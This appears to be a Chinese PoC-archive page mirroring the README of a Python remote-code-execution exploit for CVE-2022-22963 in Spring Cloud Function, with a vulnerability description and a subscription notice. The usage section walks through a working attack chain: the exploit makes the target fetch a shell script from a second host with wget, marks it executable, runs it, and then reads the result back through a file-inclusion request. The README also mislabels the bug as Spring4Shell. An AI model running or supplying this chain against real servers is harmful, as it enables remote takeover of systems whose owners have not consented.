目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1000

100.0%

CVE-2022-22963 PoC — Spring Framework 代码注入漏洞

来源
关联漏洞
标题:Spring Framework 代码注入漏洞 (CVE-2022-22963)
Description:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞。目前暂无该漏洞信息,请随时关注CNNVD或厂商公告。
Description
CVE-2022-22963 RCE PoC in python
介绍
## CVE-2022-22963: Spring4Shell RCE Exploit

This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function <=3.1.6 (for 3.1.x) and <=3.2.2 (for 3.2.x).

### Example Usage:

```bash
# serving test.sh on local webserver
$ cat test.sh                                                               
#!/bin/bash
whoami > /tmp/rce

$ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh'
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

$ python exploit.py 10.10.10.10:8080 'chmod +x /tmp/test.sh'             
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

$ python exploit.py 10.10.10.10:8080 '/tmp/test.sh' 
[+] Host is vulnerable
[+] Command executed
[+] Exploit completed

# Provided you have LFI, you can see the contents of the file created
$ curl -s http://10.10.10.10:8080/LFI?file=/tmp/rce

user
```
### References:
https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022

https://github.com/Pizz33/Spring-Cloud-Function-SpEL
文件快照

[4.0K] /data/pocs/cee8b00607c86cb2ce2c925941eaf95b9b62be34 ├── [1.4K] exploit.py ├── [1.0K] LICENSE └── [1.1K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →